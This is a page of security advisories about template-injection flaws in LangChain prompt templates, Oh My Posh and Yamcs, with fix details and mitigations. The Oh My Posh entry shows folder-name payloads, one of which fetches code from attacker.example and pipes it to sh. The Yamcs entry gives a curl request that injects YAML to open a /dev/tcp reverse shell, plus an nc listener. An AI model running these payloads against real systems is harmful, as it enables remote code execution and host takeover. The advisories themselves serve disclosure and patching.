template_format=\"mustache\"\n)\n\nresult = prompt.invoke({\"data\": sensitive_object})\n```\n\n### Low/No Risk Scenarios\nYou are **NOT** affected if:\n- Template strings are hardcoded in your application code\n- Template strings come only from trusted, controlled sources\n- Users can only provide **values** for template variables, not the template structure itself\n\n**Example safe code:**\n```python\n# Template is hardcoded - users only control variables\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"User question: {question}\")], # SAFE\n template_format=\"f-string\"\n)\n\n# User input only fills the \u0027question\u0027 variable\nresult = prompt.invoke({\"question\": user_input})\n```\n\n## The Fix\n\n### F-string Templates\nF-string templates had a clear vulnerability where attribute access syntax was exploitable. We\u0027ve added strict validation to prevent this:\n\n- Added validation to enforce that variable names must be valid Python identifiers\n- Rejects syntax like `{obj.attr}`, `{obj[0]}`, or `{obj.__class__}`\n- Only allows simple variable names: `{variable_name}`\n\n```python\n# After fix - these are rejected at template creation time\nChatPromptTemplate.from_messages(\n [(\"human\", \"{msg.__class__}\")], # ValueError: Invalid variable name\n template_format=\"f-string\"\n)\n```\n\n### Mustache Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve restricted what Mustache templates support to reduce the attack surface:\n\n- Replaced `getattr()` fallback with strict type checking\n- Only allows traversal into `dict`, `list`, and `tuple` types\n- Blocks attribute access on arbitrary Python objects\n\n```python\n# After hardening - attribute access returns empty string\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.__class__}}\")],\n template_format=\"mustache\"\n)\nresult = prompt.invoke({\"msg\": HumanMessage(\"test\")})\n# Returns: \"\" (access blocked)\n```\n\n### Jinja2 Templates (Defensive Hardening)\nAs defensive hardening, we\u0027ve significantly restricted Jinja2 template capabilities:\n\n- Introduced `_RestrictedSandboxedEnvironment` that blocks **ALL** attribute/method access\n- Only allows simple variable lookups from the context dictionary\n- Raises `SecurityError` on any attribute access attempt\n\n```python\n# After hardening - all attribute access is blocked\nprompt = ChatPromptTemplate.from_messages(\n [(\"human\", \"{{msg.content}}\")],\n template_format=\"jinja2\"\n)\n# Raises SecurityError: Access to attributes is not allowed\n```\n\n**Important Recommendation**: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, **we recommend reserving Jinja2 templates for trusted sources only**. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.\n\nWhile we\u0027ve hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.\n\n**Important Reminder**: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you\u0027re building a chatbot or conversational application, you can often work directly with message objects (e.g., `HumanMessage`, `AIMessage`, `ToolMessage`) without templates. Direct message construction avoids template-related security concerns entirely.\n\n## Remediation\n\n### Immediate Actions\n\n1. **Audit your code** for any locations where template strings come from untrusted sources\n2. **Update to the patched version** of `langchain-core`\n3. **Review template usage** to ensure separation between template structure and user data\n\n### Best Practices\n\n- **Consider if you need templates at all** - Many applications can work directly with message objects (`HumanMessage`, `AIMessage`, etc.) without templates\n- **Reserve Jinja2 for trusted sources** - Only use Jinja2 templates when you fully control the template content\n\n## Update: Jinja2 Restrictions Reverted\n\nThe Jinja2 hardening introduced in the initial patch has been **reverted as of `langchain-core` 1.1.3**. The restriction was not addressing a direct vulnerability but was part of broader defensive hardening. In practice, it significantly limited legitimate Jinja2 usage and broke existing templates. Since Jinja2 is intended to be used only with **trusted template sources**, the original behavior has been restored. Users should continue to avoid accepting untrusted template strings when using Jinja2, but no security issue exists with trusted templates.",
"id": "GHSA-6qv9-48xg-fc7f",
"modified": "2025-12-09T17:15:16Z",
"published": "2025-11-20T17:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-6qv9-48xg-fc7f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65106"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/commit/c4b6ba254e1a49ed91f2e268e6484011c540542a"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/commit/fa7789d6c21222b85211755d822ef698d3b34e00"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchain"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LangChain Vulnerable to Template Injection via Attribute Access in Prompt Templates"
}
GHSA-6XJ8-QV9J-XCJQ
Vulnerability from github – Published: 2026-07-24 22:36 – Updated: 2026-08-13 14:22Summary
Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.
Details
src/segments/path.go, setStyle():
// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
pt.Path = txt
}
pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:
func cmd(command string, args ...string) (string, error) {
output, err := env.RunCommand(command, args...)
return strings.TrimSpace(output), err
}
Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.
PoC
Config (a single default path segment):
{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
{"type":"path","style":"plain","foreground":"#ffffff",
"template":"{{ .Path }}","properties":{"style":"full"}}]}]}
Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):
$ oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username> # whoami executed, output substituted
Side effect (file write), slash-free payload, verified on Windows:
$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d
Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.
Impact
Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.
The path is split on / (and \ on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS {{ cmdsh-ccurl${IFS}-s${IFS}attacker.example|sh}} needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name ({{ cmdbashx}}).
Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (folder_separator_template, mapped_locations, folder_format) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape {{/}} in raw folder-name components before insertion, or use a data-only function map (no cmd/readFile/stat/glob) for path resolution. The same double-evaluation pattern is worth reviewing at src/segments/options/map.go.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 29.35.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/jandedobbeleer/oh-my-posh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "29.35.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73505"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:36:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nOh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine\u0027s function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.\n\n### Details\n`src/segments/path.go`, `setStyle()`:\n\n```go\n// make sure we resolve all templates\nif txt, err := template.Render(pt.Path, pt); err == nil {\n pt.Path = txt\n}\n```\n\n`pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including:\n\n```go\nfunc cmd(command string, args ...string) (string, error) {\n output, err := env.RunCommand(command, args...)\n return strings.TrimSpace(output), err\n}\n```\n\nAny template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment.\n\n### PoC\nConfig (a single default path segment):\n\n```json\n{ \"version\":3, \"blocks\":[{\"type\":\"prompt\",\"alignment\":\"left\",\"segments\":[\n {\"type\":\"path\",\"style\":\"plain\",\"foreground\":\"#ffffff\",\n \"template\":\"{{ .Path }}\",\"properties\":{\"style\":\"full\"}}]}]}\n```\n\nCommand execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed):\n\n```\n$ oh-my-posh print primary --config p.json --shell fish \\\n --pwd \u0027/home/v/{{ cmd `whoami` }}\u0027\n/home/v/\u003cusername\u003e # whoami executed, output substituted\n```\n\nSide effect (file write), slash-free payload, verified on Windows:\n\n```\n$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \\\n --pwd \u0027/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}\u0027\n$ cat /tmp/proof\npwn3d\n```\n\nConfirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.\n\n### Impact\nArbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.\n\nThe path is split on `/` (and `\\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`).\n\nSuggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.",
"id": "GHSA-6xj8-qv9j-xcjq",
"modified": "2026-08-13T14:22:04Z",
"published": "2026-07-24T22:36:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/security/advisories/GHSA-6xj8-qv9j-xcjq"
},
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690"
},
{
"type": "PACKAGE",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh"
},
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.35.1"
},
{
"type": "WEB",
"url": "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.36.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Oh My Posh: Arbitrary command execution via template injection in the path segment"
}
GHSA-73MF-M39P-WPM9
Vulnerability from github – Published: 2026-08-28 17:23 – Updated: 2026-08-28 17:23Summary
templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.
Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.
Details
VarStatement appends arg values with no escaping:
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);
The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.
Request to exec:
InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
→ YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
→ YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
→ org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).
createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.
A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.
PoC
Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".
Listener:
nc -lvnp 4444
Request (set <LHOST> / <LPORT> to the listener):
curl -i -X POST http://<target>:8090/api/instances \
-H 'Content-Type: application/json' \
-d '{
"name": "pwned",
"template": "example",
"templateArgs": {
"spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
"bar": "Option 2"
}
}'
Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".
With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.
Impact
Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.
It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.13.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55559"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-470",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:23:04Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren\u0027t escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it\u0027s reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn\u0027t touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`\u0026 \u003c \u003e \u0027 \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn\u0027t help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n\u2192 `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n\u2192 rendered config loaded as `YConfiguration`\n\u2192 `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n\u2192 `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"name\": \"pwned\",\n \"template\": \"example\",\n \"templateArgs\": {\n \"spaceSystem\": \"x\\\"\\nservices:\\n - class: org.yamcs.ProcessRunner\\n args:\\n command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\\\"]\\n#\",\n \"bar\": \"Option 2\"\n }\n }\u0027\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template\u0027s `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it\u0027s the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege \u0027ChangeMissionDatabase\u0027`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn\u0027t have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
"id": "GHSA-73mf-m39p-wpm9",
"modified": "2026-08-28T17:23:04Z",
"published": "2026-08-28T17:23:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.